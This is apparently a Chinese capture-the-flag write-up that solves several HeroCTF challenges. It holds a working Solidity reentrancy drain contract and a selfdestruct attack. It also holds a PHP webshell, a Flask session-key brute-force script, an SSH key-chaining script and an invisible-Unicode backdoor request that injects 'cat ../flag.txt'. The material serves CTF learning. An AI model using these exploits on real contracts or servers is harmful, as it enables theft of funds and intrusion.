部署合约后查看源码
pragma solidity ^0.8.13; /* Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder. So I made it possible to buy it there ! */ contract NukeAuction { uint public maxAmount = 10 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= maxAmount, "Auction is over"); if (balance == maxAmount) { winner = msg.sender; } } function claimAuction() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } function isAuctionSane() external view returns (bool) { return (address(this).balance < 10 ether); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }
根据题目提示,其中存在一个拍卖逻辑,每次只能存入 1 ETH 代币,当 达到 10 ETH 代币时,将可以购买商品,而题目要求阻止拍卖,我们可以通过 selfdestruct() 函数强制打入代币,使合约内得到的代币数量大于 10, 使合约瘫痪
pragma solidity ^0.8.13; /* Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder. So I made it possible to buy it there ! */ contract NukeAuction { uint public maxAmount = 10 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= maxAmount, "Auction is over"); if (balance == maxAmount) { winner = msg.sender; } } function claimAuction() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } function isAuctionSane() external view returns (bool) { return (address(this).balance < 10 ether); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack is NukeAuction { NukeAuction etherGame; constructor(NukeAuction _etherGame) { etherGame = NukeAuction(_etherGame); } function attack() public payable { address payable addr = payable(address(etherGame)); selfdestruct(addr); } }
正常存入 10 代币,最后利用 selfdestruct 函数强制打入 1 代币造成合约崩溃
部署合约
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; // @dev : iHuggsy contract Introduction { /** Before going into the source code, make sure you visited http://blockchain.heroctf.fr:22000/help if you need it ! THERE IS ONE (1) RULE : - The whole node system and mining system (and machines that are part of this system) does not belong to ANY of the challenges, any attempt to use them in a way that is not considered normal in a blockchain environment, pentest them or even scan them WILL result in a ban of your entire team without any notice. By interacting with the `accept_rules` function that follows, you are signing a contract that you agree with the rule. (Even if you don't interact with it, you agree to it lol) Have a good one ! If you run into any problem, feel free to DM me on the Discord @dev : iHuggsy **/ bytes32 flags; mapping (address => bool) accepted_rules; constructor (bytes32 _flagz) { flags = _flagz; } function get_flag_part_one() external view returns (bytes32) { require(accepted_rules[msg.sender] == true); return flags; } function accept_rules() external { accepted_rules[msg.sender] = true; } }
首先调用 accept_rules() 方法将 accepted_rules[msg.sender] 设置为 true, 再调用 get_flag_part_one() 方法获取 byte32格式的 Flag, 编写一个函数转换为 String 格式获取可提交的 Flag
pragma solidity ^0.4.4; contract Attack { bytes32 public x = 0x4865726f7b57336c43306d655f325f48337230436834316e5f5740674d317d00; function bytes32ToString(bytes32 x) external view returns(string){ bytes memory bytesString = new bytes(32); uint charCount = 0 ; for(uint j = 0 ; j<32;j++){ byte char = byte(bytes32(uint(x) *2 **(8*j))); if(char !=0){ bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for(j=0;j<charCount;j++){ bytesStringTrimmed[j]=bytesString[j]; } return string(bytesStringTrimmed); } }
部署合约,题目提示需要将目标合约的代币清空
源码
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; /* This contract implements "WMEL" (Wrapped MEL). You get an ERC20 version of Melcoin where 1WMEL == 1MEL at all times. This is a beta version ! */ // @dev : iHuggsy contract WMEL { mapping(address => uint) public balances; constructor () payable {} function deposit() external payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }
关注到其中一行代码
(bool sent, ) = msg.sender.call{value: bal}("");
这里存在重入漏洞,当提取时会触发 fallback 函数,编写一个攻击合约,逻辑为当目标中存在 >= 1 HERO 时,一直调用 withdraw 函数进行提取
contract Attack { WMEL public etherStore; constructor(address _etherStoreAddress) { etherStore = WMEL(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); // go to fallback } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }
当调用 attack 函数时,就会通过 fallback 函数清空所有合约代币
创建环境登陆 user1, 存在 suid 为 user2 的文件 hmmm, 下载下来分析
可以通过创建 WTFFFFF 文件为 shell脚本,来通过 hmmm 中的 system函数执行获取 user2权限
在通过sudo -l 找到 root权限无需密码的可执行文件获取shell
创建环境后登陆 user1 用户
可以看到是 dev 用户启动的 Web服务,在Web目录中写一个 Webshell
user1@38b224da61ad:/var/www/html$ rm -rf index.php user1@38b224da61ad:/var/www/html$ echo '<?php system("whoami");?>' > index.php;chmod 777 index.php user1@38b224da61ad:/var/www/html$ curl http://127.0.0.1/index.php dev user1@38b224da61ad:/var/www/html$
已经获取到 dev 的权限, sudo -l 权限是 ALL
查看 chall.py 源码
#! /usr/bin/python3 import os class account: def __init__(self, amount, user): self.balance = amount self.user = user def wireMoney(self, amount, receiver): if amount > self.balance: print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer") return False else: self.balance -= amount receiver.balance += amount return True def printBalance(self): print(f"{self.user} has {self.balance} on his account") FLAG = open("./flag.txt", "r").read() def clear(): os.system('cls' if os.name == 'nt' else 'clear')``` # Creating the two accounts ctf_player = account(10, "ctf_player") BANK = account(100, "Bank") # Main loop menu = "dashboard" clear() while menu != "quit": if menu == "dashboard": print("=== Dashboard ===") print() print("Welcome to your HeroBank dashboard ! ") print("From here, you can choose to wire money to another account, or to buy some premium features on the HeroStore.") print() print(f"You currently have {ctf_player.balance}$ on your account") print("Choose an option :") print("1 - HeroStore") print("2 - Transfer money") print("3 - Quit") option = 0 try: option = int(input(">> ")) if option == 1: menu = "store" elif option == 2: menu = "transfer" elif option == 3: menu = "quit" else: 1/0 except: print("An error has occured, enter only 1,2 or 3") input("Press enter to continue...") clear() elif menu == "store": print("=== HeroStore ===") print() print("Welcome to the HeroStore !") print("Here you can buy all sorts of things. Sadly, our stocks suffered from our success, and only one item remains. It's therefore pretty expensive.") print() print("Choose an option :") print("1 - Fl4g (100$)") print("2 - Back to Dashboard") option = 0 try: option = int(input(">> ")) if option == 1: if ctf_player.balance >= 100: print(f"Congratz ! Here is your item : {FLAG}") input("Press enter to continue...") menu = "quit" else: print() print("Sorry, but you need more money to make that purchase...") input("Press enter to continue...") menu = "store" elif option == 2: menu = "dashboard" else: 1/0 except: print("An error has occured, enter only 1 or 2") input("Press enter to continue...") clear() elif menu == "transfer": print("=== Transfer Protocol ===") print() print("How much do you want to transfer the bank ?") try: amount = int(input(">> ")) if ctf_player.wireMoney(amount, BANK): print("Transfer completed !") menu = "dashboard" input("Press enter to continue...") except: print("You have to enter an integer") input("Press enter to continue...") clear()
连接后发现购买 Flag需要 100而我们只有, 关注函数 wireMoney 这里我们传入负数就可以额外获取 Money
def wireMoney(self, amount, receiver): if amount > self.balance: print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer") return False else: self.balance -= amount receiver.balance += amount return True
创建环境后登陆第一个用户
下载下来看一下这个 ELF文件读取的是谁的 sshkey
看到是 user2 的 id_rsa SSH密钥文件,使用这个文件可以登陆 user2 用户, 而user2 用户下 getSSHKey 读取的是 user3 的 id_rsa看一下一共多少个用户
一共有250个用户, 编写脚本SSH密钥登陆后执行 getSSHKey 获取下一个用户的SSH密钥,登陆后重复上一个动作
# -*- coding: utf-8 -*- import paramiko # 请求服务器获取信息 def user1_login(): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect('chall.heroctf.fr', 10073, 'user1', 'password123') stdin, stdout, stderr = ssh.exec_command('./getSSHKey') getkey = stdout.read().decode('utf-8') with open("id_rsa_user1", "w", encoding="utf-8") as file: file.write(getkey) ssh.close() def userkeylogin(): ssh = paramiko.SSHClient() for i in range(1,251): user_num = "id_rsa_user" + str(i) user_ssh = "user" + str(i+1) user_id_rsa = "id_rsa_user" + str(i+1) private_key = paramiko.RSAKey.from_private_key_file(user_num) ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect('chall.heroctf.fr', 10073, user_ssh, pkey=private_key) stdin, stdout, stderr = ssh.exec_command('./getSSHKey') getkey = stdout.read().decode('utf-8') with open(user_id_rsa, "w", encoding="utf-8") as file: print("Login " + user_ssh) file.write(getkey) ssh.close() if __name__ == '__main__': user1_login() userkeylogin()
最后拿着最后一个密钥,登陆 user250 获取 Flag
下载源码文件
#!/usr/bin/env python from flask import Flask, session, render_template from string import hexdigits from random import choice from os import getenv app = Flask(__name__) app.secret_key = choice(hexdigits) * 32 @app.route("/", methods=["GET"]) def index(): flag = "You are not admin !" if session and session["username"] == "admin": flag = getenv("FLAG") return render_template("index.html", flag=flag) if __name__ == "__main__": app.run(host="0.0.0.0", port=int(getenv("PORT")))
访问题目主页
根据源代码看到 app.secret_key 随机性不高,有被爆破的可能性,可以使用工具 flask-session-cookie-manager 根据 {'username':'admin'} 生成 session
编写一个爆破脚本获取正确的 session
import requests import os keyword = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" for i in keyword: cmd = "python3 flask_session_cookie_manager3.py encode -s '%s' -t \"{'username':'admin'}\"" % (str(i) * 32) cookie = os.popen(cmd).read().replace('\n','') url = "https://smallbigmistake.web.heroctf.fr" headers = { "Cookie":"cf_clearance=RdAID0fnei6cUFk3YOkDuN91.oSzdCrqd5bPpVRxWQY-1653698340-0-150; __cf_bm=zp1l_dp7UbyemULS4vJ7c7Wi5aEf8KHQRXgi7Ox2tdg-1653745587-0-AZWHPu1+yDLp98WQWTlpgy/XvT2cRl8c62j2yy7ZNcp0zH7wRJ9vQy0OungQy5+I0OIYhd8CdOXLEeiM9U1ggAR+/uM/ThSfFawlDZwxfw+v0/Ph7vBlTE+QAcpriuQlzA==;session=" + cookie } resp = requests.get(url, headers=headers, timeout=5) print(len(resp.text),cookie)
在目标站点下载源码
根据提示 server.js 含有后门,Vscode调整 UTF-8 为 CP437 可以看到后门字符
# %E3%85%A4 -> \u3164 是不可见的 Unicode 代码 # https://certitude.consulting/blog/en/invisible-backdoor/ /server_health?timeout=1000000&%E3%85%A4=id;cat%20../flag.txt
下载加密代码
#!/usr/bin/env python3 FLAG = "****************************" enc = [] for c in FLAG: v = ord(c) enc.append( v + pow(v, 2) + pow(v, 3) ) print(enc) """ $ python3 encrypt.py [378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875] """
根据源码中的逻辑编写爆破脚本
flag_encode = [378504, 1040603, 1494654, 1380063, 1876119, 1574468, 1135784, 1168755, 1534215, 866495, 1168755, 1534215, 866495, 1657074, 1040603, 1494654, 1786323, 866495, 1699439, 1040603, 922179, 1236599, 866495, 1040603, 1343210, 980199, 1494654, 1786323, 1417584, 1574468, 1168755, 1380063, 1343210, 866495, 188499, 127550, 178808, 135303, 151739, 127550, 112944, 178808, 1968875] ascii_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM{}_" FLAG = "" for i in flag_encode: for c in ascii_str: v = ord(c) pow_encode = v + pow(v, 2) + pow(v, 3) if i == pow_encode: FLAG = FLAG + c break print(FLAG)
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号 想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦~
在线文库: http://wiki.peiqi.tech Github: https://github.com/PeiQi0/PeiQi-WIKI-Book